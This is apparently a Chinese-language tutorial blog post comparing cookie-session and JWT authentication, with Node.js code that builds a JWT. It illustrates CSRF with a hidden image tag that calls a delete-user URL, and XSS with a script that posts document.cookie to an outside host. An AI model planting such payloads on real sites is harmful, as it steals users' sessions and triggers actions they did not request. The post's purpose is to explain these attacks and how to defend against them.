web服务中，用户输入用户名密码登入之后，后续访问网站的其他功能就不用再输入用户名和密码了。传统的身份校验机制为cookie-session机制：
cookie-session机制
用户浏览器访问web网站，输入用户名密码服务器校验用户名密码通过之后，生成sessonid并把sessionid和用户信息映射起来保存在服务器服务器将生成的sessionid返回给用户浏览器，浏览器将sessionid存入cookie此后用户对该网站发起的其他请求都将带上cookie中保存的sessionid服务端把用户传过来的sessionid和保存在服务器的sessionid做对比，如果服务器中有该sessionid则代表身份验证成功
这种方式存在以下几个问题：
代码安全机制不完善，可能存在CSRF漏洞服务端需要保存sessionid与客户端传来的sessionid做对比，当服务器为集群多机的情况下，需要复制sessionid，在多台集群机器之间共享如果需要单点登入，则须将sessionid存入redis等外部存储保证每台机器每个系统都能访问到，如果外部存储服务宕机，则单点登入失效
CSRF攻击
用户访问A网站(http://www.aaa.com)，输入用户名密码服务器验证通过，生成sessionid并返回给客户端存入cookie用户在没有退出或者没有关闭A网站，cookie还未过期的情况下访问恶意网站BB网站返回含有如下代码的html：
//假设A网站注销用户的url为：https://www.aaa.com/delete_user
<img src="https://www.aaa.com/delete_user" style="display:none;"/>
浏览器发起对A网站的请求，并带上A网站的cookie，注销了用户
JWT认证方式
JWT全称 Json Web Token，是一个长字符串，由三部分组成：Header(头部)、 Payload(负载)、Signature(签名)，Header.Payload.Signature，用.分割各部分内容，看起来大概就像下面这样：
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InhpYW8gamllIiwiYWRtaW4iOnRydWV9.MjcxZGFjMmQzZjNlMzdjMTU0OGZmM2FlNzFjNDkyMDAwODkzZGNiYmFkODc0MTJhYTYzMTE4MmY0NDBhNzkzZA
生成过程如下：
const crypto = require("crypto");
const base64UrlEncode = require("base64url");
//头部信息
var header = {
"alg": "HS256", //签名算法类型，默认是 HMAC SHA256（写成 HS256）
"typ": "JWT" //令牌类型，JWT令牌统一为JWT
};
//负载信息,存储用户信息
var payload = {
"sub": "1234567890",
"name": "xiao jie",
"admin": true
}
//服务器秘钥，用于加密生成signature,不可泄漏
var secret = "chaojidamantou";
//header部分和payload部分
var message = base64UrlEncode(JSON.stringify(header)) + "." + base64UrlEncode(JSON.stringify(payload));
//HMACSHA256加密算法
function HMACSHA256(message, secret) {
return crypto.createHmac('sha256', secret).update(message).digest("hex");
}
//生成签名信息
var signature = HMACSHA256(message, secret);
//header和payload部分内容默认不加密,也可以使用加密算法加密
var JWT = message + "." + base64UrlEncode(signature);
console.log(JWT);
验证过程如下：
用户访问网站，输入账号密码登入服务器校验通过，生成JWT，不保存JWT，直接返回给客户端客户端将JWT存入cookie或者localStorage此后用户发起的请求，都将使用js从cookie或者localStorage读取JWT放在http请求的header中，发给服务端服务端获取header中的JWT，用base64URL算法解码各部分内容，并在服务端用同样的秘钥和算法生成signature，与传过来的signature对比，验证JWT是否合法
使用JWT验证，由于服务端不保存用户信息，不用做sessonid复制，这样集群水平扩展就变得容易了。同时用户发请求给服务端时，前端使用JS将JWT放在header中手动发送给服务端，服务端验证header中的JWT字段，而非cookie信息，这样就避免了CSRF漏洞攻击。
不过，无论是cookie-session还是JWT，都存在被XSS攻击盗取的风险：
XSS攻击
跨站脚本攻击，其基本原理同sql注入攻击类似。页面上用来输入信息内容的输入框，被输入了可执行代码。假如某论坛网站有以下输入域用来输入帖子内容
发帖内容：<textarea rows="3" cols="20"></textarea>
而恶意用户在textarea发帖内容中填入诸如以下的js脚本：
今天很开心，学会了JWT
<script>
$.ajax({
type: "post",
url: "https://www.abc.com/getcookie",
data: {cookie : document.cookie}
});
</script>
那么当其他用户访问该帖子的时候，用户的cookie就会被发送到abc域名的服务器上了。
为了避免xss攻击，客户端和服务端都应该对提交数据进行xss攻击转义。
